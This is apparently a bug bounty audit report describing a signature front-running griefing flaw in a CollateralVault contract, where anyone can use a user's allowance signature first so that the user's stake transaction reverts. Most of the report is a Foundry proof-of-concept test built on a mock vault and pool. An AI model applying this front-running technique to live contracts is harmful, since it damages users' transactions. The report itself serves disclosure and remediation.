#36501 [SC-Medium] Signature Front-Running Vulnerability in CollateralVault

Submitted on Nov 4th 2024 at 13:24:08 UTC by @Hoverfly9132 for Audit Comp | Anvil

  • Report ID: #36501

  • Report Type: Smart Contract

  • Report severity: Medium

  • Target: https://etherscan.io/address/0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f

  • Impacts:

    • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Bug Description

The similar issue has found by the previous OpenZeppelin audit but they don't specify all the affected actions, and anvil team only fix the `depositAndStake` function, the other affected actions aren't reported and fixed in the previous audits, so this issue shouldn't be considered as known issue from my perspective.

The `modifyCollateralizableTokenAllowanceWithSignature` function in CollateralVault is vulnerable to signature front-running attacks. When the `TimeBasedCollateralPool` contract `stake` and `stakeReleasableTokensFrom` functions call the `modifyCollateralizableTokenAllowanceWithSignature` function to modify the allowance by signature, an attacker can monitor the mempool and front-run the transaction by calling the `modifyCollateralizableTokenAllowanceWithSignature` function first, then the original transaction will fail because the nonce is already used.

The vulnerability exists because:

  1. The signature verification uses a nonce system that increments upon each use.

  2. The `modifyCollateralizableTokenAllowanceWithSignature` function can be called by anyone to cause the signature nonce to be incremented.

  3. Once a signature is used and the nonce is incremented, the original transaction will fail

Impact

Any users `stake` or `stakeReleasableTokensFrom` txs can be front-run by attackers to revert.

Recommendation

Fix as the `depositAndStake` function.

Proof of Concept

Proof of Concept

```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.19;

import "forge-std/Test.sol";

abstract contract EIP712 { bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID;

bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;

constructor(string memory name, string memory version) {
    bytes32 hashedName = keccak256(bytes(name));
    bytes32 hashedVersion = keccak256(bytes(version));
    bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

    _HASHED_NAME = hashedName;
    _HASHED_VERSION = hashedVersion;
    _TYPE_HASH = typeHash;

    _CACHED_CHAIN_ID = block.chainid;
    _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
}

function _domainSeparatorV4() internal view returns (bytes32) {
    if (block.chainid == _CACHED_CHAIN_ID) {
        return _CACHED_DOMAIN_SEPARATOR;
    } else {
        return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
    }
}

function _buildDomainSeparator(
    bytes32 typeHash,
    bytes32 nameHash,
    bytes32 versionHash
) private view returns (bytes32) {
    return keccak256(
        abi.encode(
            typeHash,
            nameHash,
            versionHash,
            block.chainid,
            address(this)
        )
    );
}

function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
    return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}

}

abstract contract SignatureNonces { mapping(address => mapping(bytes32 => uint256)) private _accountTypeNonces;

function nonces(address owner, bytes32 signatureType) public view virtual returns (uint256) {
    return _accountTypeNonces[owner][signatureType];
}

function _useNonce(address owner, bytes32 signatureType) internal virtual returns (uint256) {
    return _accountTypeNonces[owner][signatureType]++;
}

}

contract CollateralVault is EIP712, SignatureNonces { bytes32 public constant COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH = keccak256( "CollateralizableTokenAllowanceAdjustment(address collateralizableAddress,address tokenAddress,int256 allowanceAdjustment,uint256 approverNonce)" );

mapping(address => mapping(address => mapping(address => uint256))) public accountCollateralizableTokenAllowances;
mapping(address => bool) public collateralizableContracts;

error InvalidSignature(address signer);
error ContractNotApprovedByProtocol(address contractAddress);

constructor() EIP712("CollateralVault", "1") {}

function modifyCollateralizableTokenAllowanceWithSignature(
    address _accountAddress,
    address _collateralizableContractAddress,
    address _tokenAddress,
    int256 _allowanceAdjustment,
    bytes calldata _signature
) external {
    if (_allowanceAdjustment > 0 && !collateralizableContracts[_collateralizableContractAddress])
        revert ContractNotApprovedByProtocol(_collateralizableContractAddress);

    _modifyCollateralizableTokenAllowanceWithSignature(
        _accountAddress,
        _collateralizableContractAddress,
        _tokenAddress,
        _allowanceAdjustment,
        _signature
    );
}

function _modifyCollateralizableTokenAllowanceWithSignature(
    address _accountAddress,
    address _collateralizableContractAddress,
    address _tokenAddress,
    int256 _allowanceAdjustment,
    bytes calldata _signature
) private {
    console.log("nonce: ", nonces(_accountAddress, COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH));
    bytes32 hash = _hashTypedDataV4(
        keccak256(
            abi.encode(
                COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH,
                _collateralizableContractAddress,
                _tokenAddress,
                _allowanceAdjustment,
                _useNonce(_accountAddress, COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH)
            )
        )
    );

    address signer = _recoverSigner(hash, _signature);
    if (signer != _accountAddress) {
        revert InvalidSignature(_accountAddress);
    }

    if (_allowanceAdjustment > 0) {
        accountCollateralizableTokenAllowances[_accountAddress][_collateralizableContractAddress][_tokenAddress] += uint256(_allowanceAdjustment);
    } else {
        accountCollateralizableTokenAllowances[_accountAddress][_collateralizableContractAddress][_tokenAddress] -= uint256(-_allowanceAdjustment);
    }
}

function _recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
    require(signature.length == 65, "Invalid signature length");

    bytes32 r;
    bytes32 s;
    uint8 v;

    assembly {
        r := mload(add(signature, 32))
        s := mload(add(signature, 64))
        v := byte(0, mload(add(signature, 96)))
    }

    return ecrecover(hash, v, r, s);
}

// 辅助函数,用于测试
function setCollateralizableContracts(address _contract, bool _approved) external {
    collateralizableContracts[_contract] = _approved;
}

function getHashTypedDataV4(bytes32 structHash) public view returns (bytes32) {
    return _hashTypedDataV4(structHash);
}

}

interface ICollateral { function modifyCollateralizableTokenAllowanceWithSignature( address _accountAddress, address _collateralizableContractAddress, address _tokenAddress, int256 _allowanceAdjustment, bytes calldata _signature ) external;

function accountCollateralizableTokenAllowances(
    address account,
    address collateralizable,
    address token
) external view returns (uint256);

function COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH() 
    external view returns (bytes32);

function nonces(address owner, bytes32 signatureType) 
    external view returns (uint256);

function getHashTypedDataV4(bytes32 structHash) 
    external view returns (bytes32);

}

contract TimeBasedCollateralPool { ICollateral public immutable collateral; constructor(address _collateral) { collateral = ICollateral(_collateral); }

function stake(
    address _token,
    uint256 _amount,
    bytes calldata _collateralizableApprovalSignature
) external returns (uint256) {
    if (_collateralizableApprovalSignature.length > 0) {
        collateral.modifyCollateralizableTokenAllowanceWithSignature(msg.sender, address(this), _token, int256(_amount), _collateralizableApprovalSignature);
    }
    return _stake(_token, _amount);
}

function _stake(address _token, uint256 _amount) internal returns (uint256) {
    return _amount;
}

}

contract SignatureReplayTest is Test { CollateralVault public vault; address public victim; uint256 public victimPrivateKey; address public token; TimeBasedCollateralPool public pool;

function setUp() public {
    vault = new CollateralVault();
    
    // Setup victim account
    victimPrivateKey = 0xA11CE;
    victim = vm.addr(victimPrivateKey);
    token = makeAddr("token");
    
    pool = new TimeBasedCollateralPool(address(vault));
    vault.setCollateralizableContracts(address(pool), true);

}

function testFrontRunGriefing() public {
    int256 allowanceAdjustment = 100;
    
    // Generate signature using L1 vault parameters
    bytes memory signature = _generateSignature(
        vault,
        victim,
        address(pool),
        token,
        allowanceAdjustment
    );
    uint256 snapshotId = vm.snapshot();
    
    vault.modifyCollateralizableTokenAllowanceWithSignature(victim, address(pool), token, allowanceAdjustment, signature);
    vm.startPrank(victim);
    vm.expectRevert(abi.encodeWithSelector(CollateralVault.InvalidSignature.selector, victim));
    pool.stake(token, uint256(allowanceAdjustment), signature);
    assertEq(
        vault.accountCollateralizableTokenAllowances(victim, address(pool), token),
        uint256(allowanceAdjustment),
        "L1 allowance not set correctly"
    );
    vm.stopPrank();
}

function _generateSignature(
    CollateralVault vault,
    address account,
    address collateralizableContract,
    address tokenAddr,
    int256 adjustment
) internal view returns (bytes memory) {
    bytes32 structHash = keccak256(
        abi.encode(
            vault.COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH(),
            collateralizableContract,
            tokenAddr,
            adjustment,
            vault.nonces(account, vault.COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH())
        )
    );

    bytes32 hash = vault.getHashTypedDataV4(structHash);
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(victimPrivateKey, hash);
    return abi.encodePacked(r, s, v);
}

} ```

Run the test by: ```bash forge test --match-test testFrontRunGriefing ```